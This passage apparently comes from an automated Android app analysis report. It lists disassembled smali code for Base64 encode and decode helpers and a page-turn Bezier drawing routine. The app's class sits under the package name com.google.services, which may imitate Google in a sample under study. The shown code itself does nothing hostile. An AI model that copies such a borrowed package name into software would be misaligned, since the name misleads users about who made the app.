29 | invoke-direct {v3, v4, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V |
|
30 | throw v3 | |
31 | try_end_21: move-exception v0 | |
32 | try_start_22: | |
33 | invoke-virtual {v1}, Ljava/io/ByteArrayInputStream;->close()V | |
34 | try_end_25: | |
35 | invoke-virtual {v2}, Ljava/io/ByteArrayOutputStream;->close()V | |
36 | goto_28: throw v0 | |
37 | catch_29: move-exception v0 | |
38 | goto/16 :goto_10 | |
39 | catch_2b: move-exception v0 | |
40 | goto/16 :goto_13 | |
41 | catch_2d: move-exception v1 | |
42 | goto/16 :goto_25 | |
43 | catch_2f: move-exception v1 | |
44 | goto/16 :goto_28 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .annotation system Ldalvik/annotation/Throws; | |
2 | value = { | |
3 | Ljava/lang/RuntimeException; | |
4 | } | |
5 | .end annotation | |
6 | .prologue | |
7 | new-instance v1, Ljava/io/ByteArrayInputStream; | |
9 | invoke-direct {v1, p0}, Ljava/io/ByteArrayInputStream;-><init>([B)V | |
10 | new-instance v2, Ljava/io/ByteArrayOutputStream; | |
12 | invoke-direct {v2}, Ljava/io/ByteArrayOutputStream;-><init>()V | |
13 | try_start_a: | |
14 | invoke-static {v1, v2}, Lit/sauronsoftware/base64/Base64;->decode(Ljava/io/InputStream;Ljava/io/OutputStream;)V | |
15 | try_start_d: | |
16 | invoke-virtual {v1}, Ljava/io/ByteArrayInputStream;->close()V | |
17 | goto_10: | |
18 | invoke-virtual {v2}, Ljava/io/ByteArrayOutputStream;->close()V | |
19 | goto_13: | |
20 | invoke-virtual {v2}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B | |
21 | move-result-object v0 | |
22 | return-object v0 | |
23 | catch_18: move-exception v0 | |
24 | try_start_19: new-instance v3, Ljava/lang/RuntimeException; | |
26 | const-string v4, "Unexpected I/O error" | |
28 | invoke-direct {v3, v4, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V |
|
29 | throw v3 | |
30 | try_end_21: move-exception v0 | |
31 | try_start_22: | |
32 | invoke-virtual {v1}, Ljava/io/ByteArrayInputStream;->close()V | |
33 | try_end_25: | |
34 | invoke-virtual {v2}, Ljava/io/ByteArrayOutputStream;->close()V | |
35 | goto_28: throw v0 | |
36 | catch_29: move-exception v0 | |
37 | goto/16 :goto_10 | |
38 | catch_2b: move-exception v0 | |
39 | goto/16 :goto_13 | |
40 | catch_2d: move-exception v1 | |
41 | goto/16 :goto_25 | |
42 | catch_2f: move-exception v1 | |
43 | goto/16 :goto_28 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/4 v7, 0x0 | |
2 | const/high16 v6, 0x4080 | |
3 | const/high16 v5, 0x4000 | |
5 | iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
6 | iget v0, v0, Landroid/graphics/PointF;->x:F | |
7 | iget v1, p0, Lcom/google/services/PageWidget;->mCornerX:I | |
8 | int-to-float v1, v1 | |
9 | add-float/2addr v0, v1 | |
10 | div-float/2addr v0, v5 | |
11 | iput v0, p0, Lcom/google/services/PageWidget;->mMiddleX:F | |
13 | iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
14 | iget v0, v0, Landroid/graphics/PointF;->y:F | |
15 | iget v1, p0, Lcom/google/services/PageWidget;->mCornerY:I | |
16 | int-to-float v1, v1 | |
17 | add-float/2addr v0, v1 | |
18 | div-float/2addr v0, v5 | |
19 | iput v0, p0, Lcom/google/services/PageWidget;->mMiddleY:F | |
21 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
22 | iget v1, p0, Lcom/google/services/PageWidget;->mMiddleX:F | |
23 | iget v2, p0, Lcom/google/services/PageWidget;->mCornerY:I | |
24 | int-to-float v2, v2 | |
25 | iget v3, p0, Lcom/google/services/PageWidget;->mMiddleY:F | |
26 | sub-float/2addr v2, v3 | |
27 | iget v3, p0, Lcom/google/services/PageWidget;->mCornerY:I | |
28 | int-to-float v3, v3 | |
29 | iget v4, p0, Lcom/google/services/PageWidget;->mMiddleY:F | |
30 | sub-float/2addr v3, v4 | |
31 | mul-float/2addr v2, v3 | |
32 | iget v3, p0, Lcom/google/services/PageWidget;->mCornerX:I | |
33 | int-to-float v3, v3 | |
34 | iget v4, p0, Lcom/google/services/PageWidget;->mMiddleX:F | |
35 | sub-float/2addr v3, v4 | |
36 | div-float/2addr v2, v3 | |
37 | sub-float/2addr v1, v2 | |
38 | iput v1, v0, Landroid/graphics/PointF;->x:F | |
40 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
41 | iget v1, p0, Lcom/google/services/PageWidget;->mCornerY:I | |
42 | int-to-float v1, v1 | |
43 | iput v1, v0, Landroid/graphics/PointF;->y:F | |
45 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
46 | iget v1, p0, Lcom/google/services/PageWidget;->mCornerX:I | |
47 | int-to-float v1, v1 | |
48 | iput v1, v0, Landroid/graphics/PointF;->x:F | |
50 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
51 | iget v1, p0, Lcom/google/services/PageWidget;->mMiddleY:F | |
52 | iget v2, p0, Lcom/google/services/PageWidget;->mCornerX:I | |
53 | int-to-float v2, v2 | |
54 | iget v3, p0, Lcom/google/services/PageWidget;->mMiddleX:F | |
55 | sub-float/2addr v2, v3 | |
56 | iget v3, p0, Lcom/google/services/PageWidget;->mCornerX:I | |
57 | int-to-float v3, v3 | |
58 | iget v4, p0, Lcom/google/services/PageWidget;->mMiddleX:F | |
59 | sub-float/2addr v3, v4 | |
60 | mul-float/2addr v2, v3 | |
61 | iget v3, p0, Lcom/google/services/PageWidget;->mCornerY:I | |
62 | int-to-float v3, v3 | |
63 | iget v4, p0, Lcom/google/services/PageWidget;->mMiddleY:F | |
64 | sub-float/2addr v3, v4 | |
65 | div-float/2addr v2, v3 | |
66 | sub-float/2addr v1, v2 | |
67 | iput v1, v0, Landroid/graphics/PointF;->y:F | |
69 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
71 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
72 | iget v1, v1, Landroid/graphics/PointF;->x:F | |
73 | iget v2, p0, Lcom/google/services/PageWidget;->mCornerX:I | |
74 | int-to-float v2, v2 | |
76 | iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
77 | iget v3, v3, Landroid/graphics/PointF;->x:F | |
78 | sub-float/2addr v2, v3 | |
79 | div-float/2addr v2, v5 | |
80 | sub-float/2addr v1, v2 | |
81 | iput v1, v0, Landroid/graphics/PointF;->x:F | |
83 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
84 | iget v1, p0, Lcom/google/services/PageWidget;->mCornerY:I | |
85 | int-to-float v1, v1 | |
86 | iput v1, v0, Landroid/graphics/PointF;->y:F | |
88 | iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
89 | iget v0, v0, Landroid/graphics/PointF;->x:F | |
90 | cmpl-float v0, v0, v7 | |
91 | if-lez v0, :cond_168 | |
93 | iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
94 | iget v0, v0, Landroid/graphics/PointF;->x:F | |
95 | iget v1, p0, Lcom/google/services/PageWidget;->mWidth:I | |
96 | int-to-float v1, v1 | |
97 | cmpg-float v0, v0, v1 | |
98 | if-gez v0, :cond_168 | |
100 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
101 | iget v0, v0, Landroid/graphics/PointF;->x:F | |
102 | cmpg-float v0, v0, v7 | |
103 | if-ltz v0, :cond_9e | |
105 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
106 | iget v0, v0, Landroid/graphics/PointF;->x:F | |
107 | iget v1, p0, Lcom/google/services/PageWidget;->mWidth:I | |
108 | int-to-float v1, v1 | |
109 | cmpl-float v0, v0, v1 | |
110 | if-lez v0, :cond_168 | |
111 | cond_9e: | |
112 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
113 | iget v0, v0, Landroid/graphics/PointF;->x:F | |
114 | cmpg-float v0, v0, v7 | |
115 | if-gez v0, :cond_b2 | |
117 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
118 | iget v1, p0, Lcom/google/services/PageWidget;->mWidth:I | |
119 | int-to-float v1, v1 | |
121 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
122 | iget v2, v2, Landroid/graphics/PointF;->x:F | |
123 | sub-float/2addr v1, v2 | |
124 | iput v1, v0, Landroid/graphics/PointF;->x:F | |
125 | cond_b2: iget v0, p0, Lcom/google/services/PageWidget;->mCornerX:I | |
126 | int-to-float v0, v0 | |
128 | iget-object v1, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
129 | iget v1, v1, Landroid/graphics/PointF;->x:F | |
130 | sub-float/2addr v0, v1 | |
132 | invoke-static {v0}, Ljava/lang/Math;->abs(F)F | |
133 | move-result v0 | |
134 | iget v1, p0, Lcom/google/services/PageWidget;->mWidth:I | |
135 | int-to-float v1, v1 | |
136 | mul-float/2addr v1, v0 | |
138 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
139 | iget v2, v2, Landroid/graphics/PointF;->x:F | |
140 | div-float/2addr v1, v2 | |
142 | iget-object v2, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
143 | iget v3, p0, Lcom/google/services/PageWidget;->mCornerX:I | |
144 | int-to-float v3, v3 | |
145 | sub-float v1, v3, v1 | |
147 | invoke-static {v1}, Ljava/lang/Math;->abs(F)F | |
148 | move-result v1 | |
149 | iput v1, v2, Landroid/graphics/PointF;->x:F | |
150 | iget v1, p0, Lcom/google/services/PageWidget;->mCornerX:I | |
151 | int-to-float v1, v1 | |
153 | iget-object v2, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
154 | iget v2, v2, Landroid/graphics/PointF;->x:F | |
155 | sub-float/2addr v1, v2 | |
157 | invoke-static {v1}, Ljava/lang/Math;->abs(F)F | |
158 | move-result v1 | |
159 | iget v2, p0, Lcom/google/services/PageWidget;->mCornerY:I | |
160 | int-to-float v2, v2 | |
162 | iget-object v3, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
163 | iget v3, v3, Landroid/graphics/PointF;->y:F | |
164 | sub-float/2addr v2, v3 | |
166 | invoke-static {v2}, Ljava/lang/Math;->abs(F)F | |
167 | move-result v2 | |
168 | mul-float/2addr v1, v2 | |
169 | div-float v0, v1, v0 | |
171 | iget-object v1, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
172 | iget v2, p0, Lcom/google/services/PageWidget;->mCornerY:I | |
173 | int-to-float v2, v2 | |
174 | sub-float v0, v2, v0 | |
176 | invoke-static {v0}, Ljava/lang/Math;->abs(F)F | |
177 | move-result v0 | |
178 | iput v0, v1, Landroid/graphics/PointF;->y:F | |
180 | iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
181 | iget v0, v0, Landroid/graphics/PointF;->x:F | |
182 | iget v1, p0, Lcom/google/services/PageWidget;->mCornerX:I | |
183 | int-to-float v1, v1 | |
184 | add-float/2addr v0, v1 | |
185 | div-float/2addr v0, v5 | |
186 | iput v0, p0, Lcom/google/services/PageWidget;->mMiddleX:F | |
188 | iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
189 | iget v0, v0, Landroid/graphics/PointF;->y:F | |
190 | iget v1, p0, Lcom/google/services/PageWidget;->mCornerY:I | |
191 | int-to-float v1, v1 | |
192 | add-float/2addr v0, v1 | |
193 | div-float/2addr v0, v5 | |
194 | iput v0, p0, Lcom/google/services/PageWidget;->mMiddleY:F | |
196 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
197 | iget v1, p0, Lcom/google/services/PageWidget;->mMiddleX:F | |
198 | iget v2, p0, Lcom/google/services/PageWidget;->mCornerY:I | |
199 | int-to-float v2, v2 | |
200 | iget v3, p0, Lcom/google/services/PageWidget;->mMiddleY:F | |
201 | sub-float/2addr v2, v3 | |
202 | iget v3, p0, Lcom/google/services/PageWidget;->mCornerY:I | |
203 | int-to-float v3, v3 | |
204 | iget v4, p0, Lcom/google/services/PageWidget;->mMiddleY:F | |
205 | sub-float/2addr v3, v4 | |
206 | mul-float/2addr v2, v3 | |
207 | iget v3, p0, Lcom/google/services/PageWidget;->mCornerX:I | |
208 | int-to-float v3, v3 | |
209 | iget v4, p0, Lcom/google/services/PageWidget;->mMiddleX:F | |
210 | sub-float/2addr v3, v4 | |
211 | div-float/2addr v2, v3 | |
212 | sub-float/2addr v1, v2 | |
213 | iput v1, v0, Landroid/graphics/PointF;->x:F | |
215 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
216 | iget v1, p0, Lcom/google/services/PageWidget;->mCornerY:I | |
217 | int-to-float v1, v1 | |
218 | iput v1, v0, Landroid/graphics/PointF;->y:F | |
220 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
221 | iget v1, p0, Lcom/google/services/PageWidget;->mCornerX:I | |
222 | int-to-float v1, v1 | |
223 | iput v1, v0, Landroid/graphics/PointF;->x:F | |
225 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
226 | iget v1, p0, Lcom/google/services/PageWidget;->mMiddleY:F | |
227 | iget v2, p0, Lcom/google/services/PageWidget;->mCornerX:I | |
228 | int-to-float v2, v2 | |
229 | iget v3, p0, Lcom/google/services/PageWidget;->mMiddleX:F | |
230 | sub-float/2addr v2, v3 | |
231 | iget v3, p0, Lcom/google/services/PageWidget;->mCornerX:I | |
232 | int-to-float v3, v3 | |
233 | iget v4, p0, Lcom/google/services/PageWidget;->mMiddleX:F | |
234 | sub-float/2addr v3, v4 | |
235 | mul-float/2addr v2, v3 | |
236 | iget v3, p0, Lcom/google/services/PageWidget;->mCornerY:I | |
237 | int-to-float v3, v3 | |
238 | iget v4, p0, Lcom/google/services/PageWidget;->mMiddleY:F | |
239 | sub-float/2addr v3, v4 | |
240 | div-float/2addr v2, v3 | |
241 | sub-float/2addr v1, v2 | |
242 | iput v1, v0, Landroid/graphics/PointF;->y:F | |
244 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
246 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
247 | iget v1, v1, Landroid/graphics/PointF;->x:F | |
248 | iget v2, p0, Lcom/google/services/PageWidget;->mCornerX:I | |
249 | int-to-float v2, v2 | |
251 | iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
252 | iget v3, v3, Landroid/graphics/PointF;->x:F | |
253 | sub-float/2addr v2, v3 | |
254 | div-float/2addr v2, v5 | |
255 | sub-float/2addr v1, v2 | |
256 | iput v1, v0, Landroid/graphics/PointF;->x:F | |
257 | cond_168: | |
258 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart2:Landroid/graphics/PointF; | |
259 | iget v1, p0, Lcom/google/services/PageWidget;->mCornerX:I | |
260 | int-to-float v1, v1 | |
261 | iput v1, v0, Landroid/graphics/PointF;->x:F | |
263 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart2:Landroid/graphics/PointF; | |
265 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
266 | iget v1, v1, Landroid/graphics/PointF;->y:F | |
267 | iget v2, p0, Lcom/google/services/PageWidget;->mCornerY:I | |
268 | int-to-float v2, v2 | |
270 | iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
271 | iget v3, v3, Landroid/graphics/PointF;->y:F | |
272 | sub-float/2addr v2, v3 | |
273 | div-float/2addr v2, v5 | |
274 | sub-float/2addr v1, v2 | |
275 | iput v1, v0, Landroid/graphics/PointF;->y:F | |
277 | iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
278 | iget v0, v0, Landroid/graphics/PointF;->x:F | |
279 | iget v1, p0, Lcom/google/services/PageWidget;->mCornerX:I | |
280 | int-to-float v1, v1 | |
281 | sub-float/2addr v0, v1 | |
282 | float-to-double v0, v0 | |
284 | iget-object v2, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
285 | iget v2, v2, Landroid/graphics/PointF;->y:F | |
286 | iget v3, p0, Lcom/google/services/PageWidget;->mCornerY:I | |
287 | int-to-float v3, v3 | |
288 | sub-float/2addr v2, v3 | |
289 | float-to-double v2, v2 | |
291 | invoke-static {v0, v1, v2, v3}, Ljava/lang/Math;->hypot(DD)D | |
292 | move-result-wide v0 | |
293 | double-to-float v0, v0 | |
294 | iput v0, p0, Lcom/google/services/PageWidget;->mTouchToCornerDis:F | |
296 | iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
298 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
300 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
302 | iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierStart2:Landroid/graphics/PointF; | |
304 | invoke-virtual {p0, v0, v1, v2, v3}, Lcom/google/services/PageWidget;->getCross(Landroid/graphics/PointF;Landroid/graphics/PointF;Landroid/graphics/PointF;Landroid/graphics/PointF;)Landroid/graphics/PointF; | |
305 | move-result-object v0 | |
306 | iput-object v0, p0, Lcom/google/services/PageWidget;->mBezierEnd1:Landroid/graphics/PointF; | |
308 | iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
310 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
312 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
314 | iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierStart2:Landroid/graphics/PointF; | |
316 | invoke-virtual {p0, v0, v1, v2, v3}, Lcom/google/services/PageWidget;->getCross(Landroid/graphics/PointF;Landroid/graphics/PointF;Landroid/graphics/PointF;Landroid/graphics/PointF;)Landroid/graphics/PointF; | |
317 | move-result-object v0 | |
318 | iput-object v0, p0, Lcom/google/services/PageWidget;->mBezierEnd2:Landroid/graphics/PointF; | |
320 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBeziervertex1:Landroid/graphics/PointF; | |
322 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
323 | iget v1, v1, Landroid/graphics/PointF;->x:F | |
325 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
326 | iget v2, v2, Landroid/graphics/PointF;->x:F | |
327 | mul-float/2addr v2, v5 | |
328 | add-float/2addr v1, v2 | |
330 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierEnd1:Landroid/graphics/PointF; | |
331 | iget v2, v2, Landroid/graphics/PointF;->x:F | |
332 | add-float/2addr v1, v2 | |
333 | div-float/2addr v1, v6 | |
334 | iput v1, v0, Landroid/graphics/PointF;->x:F | |
336 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBeziervertex1:Landroid/graphics/PointF; | |
338 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
339 | iget v1, v1, Landroid/graphics/PointF;->y:F | |
340 | mul-float/2addr v1, v5 | |
342 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
343 | iget v2, v2, Landroid/graphics/PointF;->y:F | |
344 | add-float/2addr v1, v2 | |
346 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierEnd1:Landroid/graphics/PointF; | |
347 | iget v2, v2, Landroid/graphics/PointF;->y:F | |
348 | add-float/2addr v1, v2 | |
349 | div-float/2addr v1, v6 | |
350 | iput v1, v0, Landroid/graphics/PointF;->y:F | |
352 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBeziervertex2:Landroid/graphics/PointF; | |
354 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierStart2:Landroid/graphics/PointF; | |
355 | iget v1, v1, Landroid/graphics/PointF;->x:F | |
357 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
358 | iget v2, v2, Landroid/graphics/PointF;->x:F | |
359 | mul-float/2addr v2, v5 | |
360 | add-float/2addr v1, v2 | |
362 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierEnd2:Landroid/graphics/PointF; | |
363 | iget v2, v2, Landroid/graphics/PointF;->x:F | |
364 | add-float/2addr v1, v2 | |
365 | div-float/2addr v1, v6 | |
366 | iput v1, v0, Landroid/graphics/PointF;->x:F | |
368 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBeziervertex2:Landroid/graphics/PointF; | |
370 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
371 | iget v1, v1, Landroid/graphics/PointF;->y:F | |
372 | mul-float/2addr v1, v5 | |
374 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierStart2:Landroid/graphics/PointF; | |
375 | iget v2, v2, Landroid/graphics/PointF;->y:F | |
376 | add-float/2addr v1, v2 | |
378 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierEnd2:Landroid/graphics/PointF; | |
379 | iget v2, v2, Landroid/graphics/PointF;->y:F | |
380 | add-float/2addr v1, v2 | |
381 | div-float/2addr v1, v6 | |
382 | iput v1, v0, Landroid/graphics/PointF;->y:F | |
383 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .parameter | |
2 | .parameter | |
3 | .annotation system Ldalvik/annotation/Throws; | |
4 | value = { | |
5 | Ljava/io/IOException; | |
6 | } | |
7 | .end annotation | |
8 | .prologue | |
9 | const/4 v2, 0x0 | |
10 | try_start_1: new-instance v3, Ljava/io/FileInputStream; | |
12 | invoke-direct {v3, p0}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V | |
13 | try_start_6: new-instance v1, Ljava/io/FileOutputStream; | |
15 | invoke-direct {v1, p1}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V | |
16 | try_start_b: | |
17 | invoke-static {v3, v1, p2}, Lit/sauronsoftware/base64/Base64;->encode(Ljava/io/InputStream;Ljava/io/OutputStream;I)V | |
18 | try_end_e: if-eqz v1, :cond_13 | |
19 | try_start_10: | |
20 | invoke-virtual {v1}, Ljava/io/OutputStream;->close()V | |
21 | goto_13: if-eqz v3, :cond_18 | |
22 | try_start_15: | |
23 | invoke-virtual {v3}, Ljava/io/InputStream;->close()V | |
24 | goto_18: return-void | |
25 | catchall_19: move-exception v0 | |
26 | move-object v1, v2 | |
27 | goto_1b: if-eqz v1, :cond_20 | |
28 | try_start_1d: | |
29 | invoke-virtual {v1}, Ljava/io/OutputStream;->close()V | |
30 | cond_20: if-eqz v2, :cond_25 | |
31 | try_start_22: | |
32 | invoke-virtual {v2}, Ljava/io/InputStream;->close()V | |
33 | try_end_25: throw v0 | |
34 | catch_26: move-exception v0 | |
35 | goto/16 :goto_13 | |
36 | catch_28: move-exception v0 | |
37 | goto/16 :goto_18 | |
38 | catch_2a: move-exception v1 | |
39 | goto/16 :goto_20 | |
40 | catch_2c: move-exception v1 | |
41 | goto/16 :goto_25 | |
42 | catchall_2e: move-exception v0 | |
43 | move-object v1, v2 | |
44 | move-object v2, v3 | |
45 | goto/16 :goto_1b | |
46 | catchall_32: move-exception v0 | |
47 | move-object v2, v3 | |
48 | goto/16 :goto_1b |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .parameter | |
2 | .annotation system Ldalvik/annotation/Throws; | |
3 | value = { | |
4 | Ljava/io/IOException; | |
5 | } | |
6 | .end annotation | |
7 | .prologue | |
8 | const/4 v2, 0x0 | |
9 | try_start_1: new-instance v3, Ljava/io/FileInputStream; | |
11 | invoke-direct {v3, p0}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V | |
12 | try_start_6: new-instance v1, Ljava/io/FileOutputStream; | |
14 | invoke-direct {v1, p1}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V | |
15 | try_start_b: | |
16 | invoke-static {v3, v1}, Lit/sauronsoftware/base64/Base64;->decode(Ljava/io/InputStream;Ljava/io/OutputStream;)V | |
17 | try_end_e: if-eqz v1, :cond_13 | |
18 | try_start_10: | |
19 | invoke-virtual {v1}, Ljava/io/OutputStream;->close()V | |
20 | goto_13: if-eqz v3, :cond_18 | |
21 | try_start_15: | |
22 | invoke-virtual {v3}, Ljava/io/InputStream;->close()V | |
23 | goto_18: return-void | |
24 | catchall_19: move-exception v0 | |
25 | move-object v1, v2 | |
26 | goto_1b: if-eqz v1, :cond_20 | |
27 | try_start_1d: | |
28 | invoke-virtual {v1}, Ljava/io/OutputStream;->close()V | |
29 | cond_20: if-eqz v2, :cond_25 | |
30 | try_start_22: | |
31 | invoke-virtual {v2}, Ljava/io/InputStream;->close()V | |
32 | try_end_25: throw v0 | |
33 | catch_26: move-exception v0 | |
34 | goto/16 :goto_13 | |
35 | catch_28: move-exception v0 | |
36 | goto/16 :goto_18 | |
37 | catch_2a: move-exception v1 | |
38 | goto/16 :goto_20 | |
39 | catch_2c: move-exception v1 | |
40 | goto/16 :goto_25 | |
41 | catchall_2e: move-exception v0 | |
42 | move-object v1, v2 | |
43 | move-object v2, v3 | |
44 | goto/16 :goto_1b | |
45 | catchall_32: move-exception v0 | |
46 | move-object v2, v3 | |
47 | goto/16 :goto_1b |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .parameter | |
2 | .annotation system Ldalvik/annotation/Throws; | |
3 | value = { | |
4 | Ljava/io/IOException; | |
5 | } | |
6 | .end annotation | |
7 | .prologue | |
8 | const/4 v2, 0x0 | |
9 | try_start_1: new-instance v3, Ljava/io/FileInputStream; | |
11 | invoke-direct {v3, p0}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V | |
12 | try_start_6: new-instance v1, Ljava/io/FileOutputStream; | |
14 | invoke-direct {v1, p1}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V | |
15 | try_start_b: | |
16 | invoke-static {v3, v1}, Lit/sauronsoftware/base64/Base64;->encode(Ljava/io/InputStream;Ljava/io/OutputStream;)V | |
17 | try_end_e: if-eqz v1, :cond_13 | |
18 | try_start_10: | |
19 | invoke-virtual {v1}, Ljava/io/OutputStream;->close()V | |
20 | goto_13: if-eqz v3, :cond_18 | |
21 | try_start_15: | |
22 | invoke-virtual {v3}, Ljava/io/InputStream;->close()V | |
23 | goto_18: return-void | |
24 | catchall_19: move-exception v0 | |
25 | move-object v1, v2 | |
26 | goto_1b: if-eqz v1, :cond_20 | |
27 | try_start_1d: | |
28 | invoke-virtual {v1}, Ljava/io/OutputStream;->close()V | |
29 | cond_20: if-eqz v2, :cond_25 | |
30 | try_start_22: | |
31 | invoke-virtual {v2}, Ljava/io/InputStream;->close()V | |
32 | try_end_25: throw v0 | |
33 | catch_26: move-exception v0 | |
34 | goto/16 :goto_13 | |
35 | catch_28: move-exception v0 | |
36 | goto/16 :goto_18 | |
37 | catch_2a: move-exception v1 | |
38 | goto/16 :goto_20 | |
39 | catch_2c: move-exception v1 | |
40 | goto/16 :goto_25 | |
41 | catchall_2e: move-exception v0 | |
42 | move-object v1, v2 | |
43 | move-object v2, v3 | |
44 | goto/16 :goto_1b | |
45 | catchall_32: move-exception v0 | |
46 | move-object v2, v3 | |
47 | goto/16 :goto_1b |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .annotation system Ldalvik/annotation/Throws; | |
2 | value = { | |
3 | Ljava/lang/RuntimeException; | |
4 | } | |
5 | .end annotation | |
6 | .prologue | |
7 | try_start_0: | |
8 | const-string v0, "ASCII" | |
10 | invoke-virtual {p0, v0}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B |
|
11 | try_end_5: move-result-object v0 | |
13 | invoke-static {v0}, Lit/sauronsoftware/base64/Base64;->decode([B)[B | |
14 | move-result-object v0 | |
15 | new-instance v1, Ljava/lang/String; | |
17 | invoke-direct {v1, v0}, Ljava/lang/String;-><init>([B)V | |
18 | return-object v1 | |
19 | catch_10: move-exception v0 | |
20 | new-instance v1, Ljava/lang/RuntimeException; | |
22 | const-string v2, "ASCII is not supported!" | |
24 | invoke-direct {v1, v2, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V |
|
25 | throw v1 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
